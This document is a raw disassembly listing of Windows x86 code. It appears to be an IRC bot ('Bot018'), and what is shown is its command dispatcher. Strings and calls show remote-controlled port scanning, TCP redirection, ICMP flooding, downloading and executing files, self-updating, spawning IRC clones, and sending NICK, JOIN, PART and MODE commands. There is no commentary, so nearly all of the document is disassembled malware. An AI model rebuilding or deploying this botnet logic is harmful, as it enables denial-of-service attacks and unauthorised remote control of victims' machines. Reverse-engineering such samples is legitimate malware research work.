loc_409D3E:				; CODE XREF: sub_4078FA+2449j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_409D3E
		sub	eax, edx
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+1]


loc_409D4F:				; CODE XREF: sub_4078FA+245Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_409D4F
		sub	eax, ecx
		mov	ecx, eax
		mov	eax, [ebp+var_10]
		lea	esi, [eax+1]


loc_409D60:				; CODE XREF: sub_4078FA+246Bj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_409D60
		push	[ebp+arg_0]
		sub	eax, esi
		add	eax, ecx
		add	eax, ebx
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_40CFE2
		push	edi
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_10]
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_4045DD
		push	edi
		call	sub_412F42
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_434138[eax], 73h
		jnz	loc_40CFE2
		push	esi
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_434350
		push	eax
		push	[ebp+var_10]
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_409CE7
; ---------------------------------------------------------------------------


loc_409E07:				; CODE XREF: sub_4078FA+227Dj
					; sub_4078FA+2291j
		push	[ebp+var_8]
		call	dword_433514	; inet_addr
		push	[ebp+var_10]
		mov	[ebp+var_2F8], eax
		call	sub_412F42
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_412F42
		mov	edi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_384]
		push	eax
		mov	[ebp+var_388], edi
		call	sub_412C40
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_4]
		add	esp, 14h
		push	[ebp+var_300]
		mov	[ebp+var_2F0], ebx
		push	[ebp+var_304]
		mov	[ebp+var_2EC], eax
		push	[ebp+var_2F8]
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with	d"...
		push	eax
		call	sub_412BB5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2E0]
		push	9
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_388]
		push	eax
		push	offset sub_40E8FF
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_409F18
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_409EF2:				; CODE XREF: sub_4078FA+2626j
		cmp	[ebp+var_C], esi
		jnz	loc_40C4A1
		push	esi
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	edi
		jmp	loc_40C499
; ---------------------------------------------------------------------------


loc_409F10:				; CODE XREF: sub_4078FA+2624j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_409F18:				; CODE XREF: sub_4078FA+25DBj
		cmp	[ebp+var_2E8], esi
		jz	short loc_409F10
		jmp	short loc_409EF2
; ---------------------------------------------------------------------------


loc_409F22:				; CODE XREF: sub_4078FA+2255j
					; sub_4078FA+2269j
		push	[ebp+var_8]
		call	sub_412F42
		push	7Fh
		push	[ebp+var_10]
		mov	[ebp+var_FD0], eax
		lea	eax, [ebp+var_10D4]
		push	eax
		call	sub_412C40
		push	[ebp+arg_0]
		call	sub_412F42
		push	[ebp+var_9C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_FD4], eax
		lea	eax, [ebp+var_1054]
		push	80h
		push	eax
		mov	[ebp+var_10DC],	esi
		call	sub_412E0D
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_4]
		add	esp, 20h
		push	[ebp+var_FD4]
		mov	[ebp+var_FC0], eax
		lea	eax, [ebp+var_10D4]
		push	eax
		push	[ebp+var_FD0]
		mov	[ebp+var_FC4], ebx
		push	esi
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "...
		push	eax
		call	sub_412BB5
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_2E0]
		push	11h
		push	eax
		call	sub_410EEA
		add	esp, 24h
		mov	[ebp+var_FCC], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_10DC]
		push	eax
		push	offset sub_40D9BC
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_FCC]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40A03A
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFailed ; "[REDIRECT]: Failed to	start redirection"...


loc_40A005:				; CODE XREF: sub_4078FA+28ADj
					; sub_4078FA+3FD1j ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40A014:				; CODE XREF: sub_4078FA+2748j
					; sub_4078FA+28C2j ...
		cmp	[ebp+var_C], edi
		jnz	loc_40C4A1
		push	edi
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	esi
		jmp	loc_40C499
; ---------------------------------------------------------------------------


loc_40A032:				; CODE XREF: sub_4078FA+2746j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40A03A:				; CODE XREF: sub_4078FA+26FDj
		cmp	[ebp+var_FBC], edi
		jz	short loc_40A032
		jmp	short loc_40A014
; ---------------------------------------------------------------------------


loc_40A044:				; CODE XREF: sub_4078FA+222Dj
					; sub_4078FA+2241j
		mov	esi, 0FFh
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_F28]
		push	eax
		call	sub_412C40
		push	[ebp+arg_0]
		xor	edi, edi
		mov	[ebp+var_C24], edi
		call	sub_412F42
		mov	[ebp+var_C20], eax
		mov	eax, [ebp+ebx+var_94]
		add	esp, 10h
		cmp	eax, edi
		jz	short loc_40A091
		push	10h
		push	edi
		push	eax
		call	sub_413809
		add	esp, 0Ch
		mov	[ebp+var_C18], eax
		jmp	short loc_40A097
; ---------------------------------------------------------------------------


loc_40A091:				; CODE XREF: sub_4078FA+2781j
		mov	[ebp+var_C18], edi


loc_40A097:				; CODE XREF: sub_4078FA+2795j
		mov	ebx, [ebp+ebx+var_90]
		cmp	ebx, edi
		jz	short loc_40A0B1
		push	ebx
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_C1C], eax
		jmp	short loc_40A0B7
; ---------------------------------------------------------------------------


loc_40A0B1:				; CODE XREF: sub_4078FA+27A6j
		mov	[ebp+var_C1C], edi


loc_40A0B7:				; CODE XREF: sub_4078FA+27B5j
		push	3Fh
		push	[ebp+var_10]
		call	sub_413F30
		mov	ebx, eax
		cmp	ebx, edi
		pop	ecx
		pop	ecx
		jz	short loc_40A0F1
		and	byte ptr [ebx],	0
		inc	ebx


loc_40A0CD:				; CODE XREF: sub_4078FA+27E4j
		push	26h
		push	ebx
		call	sub_413F30
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_40A0E0
		mov	byte ptr [eax],	20h
		jmp	short loc_40A0CD
; ---------------------------------------------------------------------------


loc_40A0E0:				; CODE XREF: sub_4078FA+27DFj
		push	esi
		lea	eax, [ebp+var_D28]
		push	ebx
		push	eax
		call	sub_412C40
		add	esp, 0Ch


loc_40A0F1:				; CODE XREF: sub_4078FA+27CDj
		push	esi
		push	[ebp+var_10]
		lea	eax, [ebp+var_E28]
		push	eax
		call	sub_412C40
		movzx	eax, [ebp+var_447]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_C14], eax
		lea	eax, [ebp+var_FA8]
		push	eax
		mov	[ebp+var_FAC], esi
		call	sub_412C40
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		push	[ebp+var_8]
		mov	ebx, [ebp+var_4]
		mov	[ebp+var_C10], eax
		lea	eax, [ebp+var_2E0]
		push	offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."...
		push	eax
		mov	[ebp+var_C0C], ebx
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_2E0]
		push	16h
		push	eax
		call	sub_410EEA
		add	esp, 34h
		mov	[ebp+var_C28], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_FAC]
		push	eax
		push	offset sub_401F06
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_C28]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40A1B4
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aDownloadFailed ; "[DOWNLOAD]: Failed to	start transfer th"...
		jmp	loc_40A005
; ---------------------------------------------------------------------------


loc_40A1AC:				; CODE XREF: sub_4078FA+28C0j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40A1B4:				; CODE XREF: sub_4078FA+289Fj
		cmp	[ebp+var_C08], edi
		jz	short loc_40A1AC
		jmp	loc_40A014
; ---------------------------------------------------------------------------


loc_40A1C1:				; CODE XREF: sub_4078FA+2205j
					; sub_4078FA+2219j
		push	7Fh
		push	[ebp+var_8]
		lea	eax, [ebp+var_123C]
		push	eax
		call	sub_412C40
		push	[ebp+var_10]
		call	sub_412F42
		push	3Fh
		push	[ebp+arg_0]
		mov	[ebp+var_10EC],	eax
		lea	eax, [ebp+var_11BC]
		push	eax
		call	sub_412C40
		mov	ebx, [ebp+ebx+var_94]
		xor	esi, esi
		add	esp, 1Ch
		cmp	ebx, esi
		jz	short loc_40A213
		push	3Fh
		lea	eax, [ebp+var_117C]
		push	ebx
		push	eax
		call	sub_412C40
		add	esp, 0Ch


loc_40A213:				; CODE XREF: sub_4078FA+2905j
		lea	eax, [ebp+var_11BC]
		push	eax
		push	[ebp+var_10EC]
		lea	eax, [ebp+var_123C]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "...
		push	eax
		mov	[ebp+var_10E8],	1
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_2E0]
		push	18h
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	[ebp+var_10E4],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_1240]
		push	eax
		push	offset sub_40779B
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_10E4]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40A2A2
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"...
		jmp	loc_40AF46
; ---------------------------------------------------------------------------


loc_40A29A:				; CODE XREF: sub_4078FA+29AEj
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40A2A2:				; CODE XREF: sub_4078FA+298Dj
		cmp	[ebp+var_10E0],	esi
		jz	short loc_40A29A
		jmp	loc_40AF55
; ---------------------------------------------------------------------------


loc_40A2AF:				; CODE XREF: sub_4078FA+21CBj
					; sub_4078FA+21DFj
		push	[ebp+var_10]
		call	sub_412F42
		mov	ebx, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_1358],	eax
		jle	loc_40A3AE
		push	[ebp+var_8]
		mov	esi, 80h
		lea	eax, [ebp+var_14E0]
		push	esi
		push	eax
		call	sub_412E0D
		push	[ebp+var_9C]
		xor	eax, eax
		cmp	[ebp+var_43A], al
		push	esi
		setnz	al
		mov	[ebp+var_14E4],	ebx
		mov	[ebp+var_1354],	eax
		lea	eax, [ebp+var_13E0]
		push	eax
		call	sub_412E0D
		push	[ebp+var_10]
		mov	eax, [ebp+var_4]
		push	[ebp+var_8]
		mov	[ebp+var_1350],	eax
		mov	eax, [ebp+var_C]
		push	offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s	seconds."
		mov	[ebp+var_134C],	eax
		lea	eax, [ebp+var_2E0]
		push	200h
		push	eax
		call	sub_412E0D
		push	edi
		lea	eax, [ebp+var_2E0]
		push	0Eh
		push	eax
		call	sub_410EEA
		add	esp, 38h
		mov	[ebp+var_1360],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_14E4]
		push	eax
		push	offset sub_404249
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_1360]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40A3A4
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood	thread,	e"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_40A3C1
; ---------------------------------------------------------------------------


loc_40A39C:				; CODE XREF: sub_4078FA+2AB0j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40A3A4:				; CODE XREF: sub_4078FA+2A83j
		cmp	[ebp+var_1348],	edi
		jz	short loc_40A39C
		jmp	short loc_40A3C1
; ---------------------------------------------------------------------------


loc_40A3AE:				; CODE XREF: sub_4078FA+29CBj
		lea	eax, [ebp+var_2E0]
		push	offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood	time must be grea"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40A3C1:				; CODE XREF: sub_4078FA+2AA0j
					; sub_4078FA+2AB2j
		cmp	[ebp+var_C], edi
		jnz	loc_40C4A1
		push	edi
		push	[ebp+var_4]
		jmp	loc_40CB44
; ---------------------------------------------------------------------------


loc_40A3D3:				; CODE XREF: sub_4078FA+21A3j
					; sub_4078FA+21B7j
		push	[ebp+var_10]
		push	[ebp+var_8]
		call	ds:dword_41F0CC	; MoveFileA
		test	eax, eax
		jz	short loc_40A407
		push	[ebp+var_10]
		lea	eax, [ebp+var_2E0]
		push	[ebp+var_8]
		push	offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'."
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 14h
		jmp	loc_40C47E
; ---------------------------------------------------------------------------


loc_40A407:				; CODE XREF: sub_4078FA+2AE7j
		push	offset aFile	; "[FILE]:"
		call	sub_405708
		push	eax
		lea	eax, [ebp+var_2E0]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 10h
		jmp	loc_40C47E
; ---------------------------------------------------------------------------


loc_40A42B:				; CODE XREF: sub_4078FA+217Bj
					; sub_4078FA+218Fj
		push	11h
		pop	ecx
		push	[ebp+var_8]
		xor	eax, eax
		xor	ebx, ebx
		lea	edi, [ebp+var_3F0]
		rep stosd
		inc	ebx
		xor	esi, esi
		mov	[ebp+var_3F0], 44h
		mov	[ebp+var_3C4], ebx
		mov	word ptr [ebp+var_3C0],	si
		call	sub_412F42
		cmp	eax, ebx
		pop	ecx
		jnz	short loc_40A46A
		mov	word ptr [ebp+var_3C0],	5


loc_40A46A:				; CODE XREF: sub_4078FA+2B65j
		cmp	[ebp+var_14], esi
		jz	loc_40AF55
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_413920
		mov	edi, eax
		cmp	edi, esi
		pop	ecx
		pop	ecx
		jz	loc_40AF55
		lea	eax, [ebp+var_A64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	esi
		push	esi
		push	30h
		push	ebx
		push	esi
		push	esi
		push	edi
		push	esi
		call	ds:dword_41F030	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jnz	short loc_40A4C3
		push	offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	loc_40AF55
; ---------------------------------------------------------------------------


loc_40A4C3:				; CODE XREF: sub_4078FA+2BB5j
		push	edi
		push	offset aExecCommandsS ;	"[EXEC]: Commands: %s"
		jmp	loc_40AF4C
; ---------------------------------------------------------------------------


loc_40A4CE:				; CODE XREF: sub_4078FA+2153j
					; sub_4078FA+2167j
		mov	edi, [ebp+var_10]
		mov	esi, offset aBot018 ; "Bot018"


loc_40A4D6:				; CODE XREF: sub_4078FA+2BF8j
		mov	cl, [esi]
		mov	al, cl
		cmp	cl, [edi]
		jnz	short loc_40A4F8
		test	al, al
		jz	short loc_40A4F4
		mov	cl, [esi+1]
		mov	al, cl
		cmp	cl, [edi+1]
		jnz	short loc_40A4F8
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_40A4D6


loc_40A4F4:				; CODE XREF: sub_4078FA+2BE6j
		xor	eax, eax
		jmp	short loc_40A4FD
; ---------------------------------------------------------------------------


loc_40A4F8:				; CODE XREF: sub_4078FA+2BE2j
					; sub_4078FA+2BF0j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40A4FD:				; CODE XREF: sub_4078FA+2BFCj
		test	eax, eax
		mov	edi, [ebp+arg_4]
		jz	loc_40A670
		lea	eax, [ebp+var_B74]
		push	eax
		push	104h
		call	ds:dword_41F0A4	; GetTempPathA
		push	0FFh
		push	[ebp+var_8]
		lea	eax, [ebp+var_F28]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_A70]
		push	eax
		call	sub_40E4F3
		push	eax
		lea	eax, [ebp+var_B74]
		push	eax
		lea	eax, [ebp+var_E28]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_412BB5
		mov	eax, [ebp+ebx+var_98]
		xor	esi, esi
		add	esp, 20h
		cmp	eax, esi
		mov	[ebp+var_C24], 1
		mov	[ebp+var_C20], esi
		jz	short loc_40A587
		push	10h
		push	esi
		push	eax
		call	sub_413809
		add	esp, 0Ch
		mov	[ebp+var_C18], eax
		jmp	short loc_40A58D
; ---------------------------------------------------------------------------


loc_40A587:				; CODE XREF: sub_4078FA+2C77j
		mov	[ebp+var_C18], esi


loc_40A58D:				; CODE XREF: sub_4078FA+2C8Bj
		mov	ebx, [ebp+ebx+var_94]
		cmp	ebx, esi
		jz	short loc_40A5A7
		push	ebx
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_C1C], eax
		jmp	short loc_40A5AD
; ---------------------------------------------------------------------------


loc_40A5A7:				; CODE XREF: sub_4078FA+2C9Cj
		mov	[ebp+var_C1C], esi


loc_40A5AD:				; CODE XREF: sub_4078FA+2CABj
		movzx	eax, [ebp+var_447]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_C14], eax
		lea	eax, [ebp+var_FA8]
		push	eax
		mov	[ebp+var_FAC], edi
		call	sub_412C40
		mov	eax, [ebp+var_4]
		push	[ebp+var_8]
		mov	[ebp+var_C0C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_C10], eax
		lea	eax, [ebp+var_2E0]
		push	offset aUpdateDownload ; "[UPDATE]: Downloading	update from: %s."
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_2E0]
		push	17h
		push	eax
		call	sub_410EEA
		add	esp, 24h
		mov	[ebp+var_C28], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_FAC]
		push	eax
		push	offset sub_401F06
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_C28]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40A666
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_40A685
; ---------------------------------------------------------------------------


loc_40A65E:				; CODE XREF: sub_4078FA+2D72j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40A666:				; CODE XREF: sub_4078FA+2D45j
		cmp	[ebp+var_C08], esi
		jz	short loc_40A65E
		jmp	short loc_40A685
; ---------------------------------------------------------------------------


loc_40A670:				; CODE XREF: sub_4078FA+2C08j
		lea	eax, [ebp+var_2E0]
		push	offset aUpdateUpToDate ; "[UPDATE]: Up to Date"
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		xor	esi, esi


loc_40A685:				; CODE XREF: sub_4078FA+2D62j
					; sub_4078FA+2D74j
		cmp	[ebp+var_C], esi
		jnz	loc_409015
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	edi
		jmp	loc_40900D
; ---------------------------------------------------------------------------


loc_40A6A5:				; CODE XREF: sub_4078FA+212Bj
					; sub_4078FA+213Fj
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_407B7B
		cmp	[ebp+var_14], eax
		jz	loc_407B7B
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_413920
		push	eax
		push	[ebp+var_9C]
		lea	eax, [ebp+var_2E0]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_412BB5
		push	1FFh
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+arg_0]
		call	sub_412C40
		push	[ebp+var_8]
		call	sub_412F42
		add	esp, 30h
		test	eax, eax
		jle	short loc_40A72E
		push	[ebp+var_8]
		call	sub_412F42
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_41F000	; Sleep


loc_40A72E:				; CODE XREF: sub_4078FA+2E1Cj
		push	offset aMainDelay_ ; "[MAIN]: Delay."
		call	sub_401C33
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40A742:				; CODE XREF: sub_4078FA+2103j
					; sub_4078FA+2117j
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_407B7B
		cmp	[ebp+var_14], eax
		jz	loc_40CFE2
		mov	esi, [ebp+var_10]
		push	esi
		push	[ebp+var_14]
		call	sub_413920
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	7
		inc	esi
		pop	ecx
		xor	eax, eax
		mov	edi, offset aRepeat ; "repeat"
		repe cmpsb
		lea	eax, [ebp+var_2E0]
		push	ebx
		jz	short loc_40A7FC
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_412BB5
		push	1FFh
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+arg_0]
		call	sub_412C40
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	offset aMainRepeatS ; "[MAIN]: Repeat: %s"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		push	[ebp+var_8]
		call	sub_412F42
		add	esp, 38h
		test	eax, eax
		jle	loc_40CFE2
		push	[ebp+var_8]
		call	sub_412F42
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40A7FC:				; CODE XREF: sub_4078FA+2E8Dj
		push	offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in	command	l"...
		jmp	loc_40AD66
; ---------------------------------------------------------------------------


loc_40A806:				; CODE XREF: sub_4078FA+20DBj
					; sub_4078FA+20EFj
		push	[ebp+var_10]
		lea	eax, [ebp+var_2E0]
		push	offset aPartS_0	; "PART	%s"
		push	eax
		call	sub_412BB5
		push	[ebp+var_8]
		call	sub_412F42
		add	esp, 10h


loc_40A825:				; CODE XREF: sub_4078FA+2F98j
		test	eax, eax
		jle	loc_40CFE2
		push	[ebp+var_8]
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2


loc_40A841:				; CODE XREF: sub_4078FA+37D1j
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset aS_4	; "%s\r\n"
		push	[ebp+var_8]
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_404592
		jmp	loc_40C133
; ---------------------------------------------------------------------------


loc_40A86C:				; CODE XREF: sub_4078FA+20B3j
					; sub_4078FA+20C7j
		push	[ebp+ebx+var_98]
		lea	eax, [ebp+var_2E0]
		push	[ebp+var_10]
		push	offset aJoinSS	; "JOIN	%s %s"
		push	eax
		call	sub_412BB5
		push	[ebp+var_8]
		call	sub_412F42
		add	esp, 14h
		jmp	short loc_40A825
; ---------------------------------------------------------------------------


loc_40A894:				; CODE XREF: sub_4078FA+208Bj
					; sub_4078FA+209Fj
		push	[ebp+var_10]


loc_40A897:				; DATA XREF: .data:0042BD1Co
					; .data:0042BD60o ...
		lea	eax, [ebp+var_2E0]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_412BB5
		mov	esi, [ebp+var_8]
		push	esi
		call	sub_412F42
		add	esp, 10h
		test	eax, eax
		jle	loc_40CFE2
		push	esi
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset aS_4	; "%s\r\n"
		push	esi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_404592
		push	[ebp+var_10]
		push	esi
		push	offset aCloneNickSS ; "[CLONE]:	Nick (%s): %s"


loc_40A8FB:				; CODE XREF: sub_4078FA+308Cj
					; sub_4078FA+30FBj ...
		call	sub_401CA7
		jmp	loc_40BDF5
; ---------------------------------------------------------------------------


loc_40A905:				; CODE XREF: sub_4078FA+2063j
					; sub_4078FA+2077j
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40A937
		push	esi
		lea	eax, [ebp+var_2E0]
		push	offset aModeS	; "MODE	%s"
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40A937:				; CODE XREF: sub_4078FA+3026j
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_40CFE2
		push	edi
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset aS_4	; "%s\r\n"
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_404592
		push	esi
		push	edi
		push	offset aCloneModeSS ; "[CLONE]:	Mode (%s): %s"
		jmp	loc_40A8FB
; ---------------------------------------------------------------------------


loc_40A98B:				; CODE XREF: sub_4078FA+203Bj
					; sub_4078FA+204Fj
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_40CFE2
		push	edi
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		push	esi
		push	offset aS_4	; "%s\r\n"
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_404592
		push	esi
		push	edi
		push	offset aCloneRawSS ; "[CLONE]: Raw (%s): %s"
		jmp	loc_40A8FB
; ---------------------------------------------------------------------------


loc_40A9FA:				; CODE XREF: sub_4078FA+2013j
					; sub_4078FA+2027j
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		push	esi
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	esi
		push	offset aMainModeChange ; "[MAIN]: Mode change: %s"
		jmp	loc_40B2C5
; ---------------------------------------------------------------------------


loc_40AA34:				; CODE XREF: sub_4078FA+1FEBj
					; sub_4078FA+1FFFj
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_407B7B
		push	[ebp+var_10]
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	[ebp+var_8]
		call	sub_412F42
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_41F000	; Sleep
		push	[ebp+ebx+var_98]
		push	[ebp+var_10]
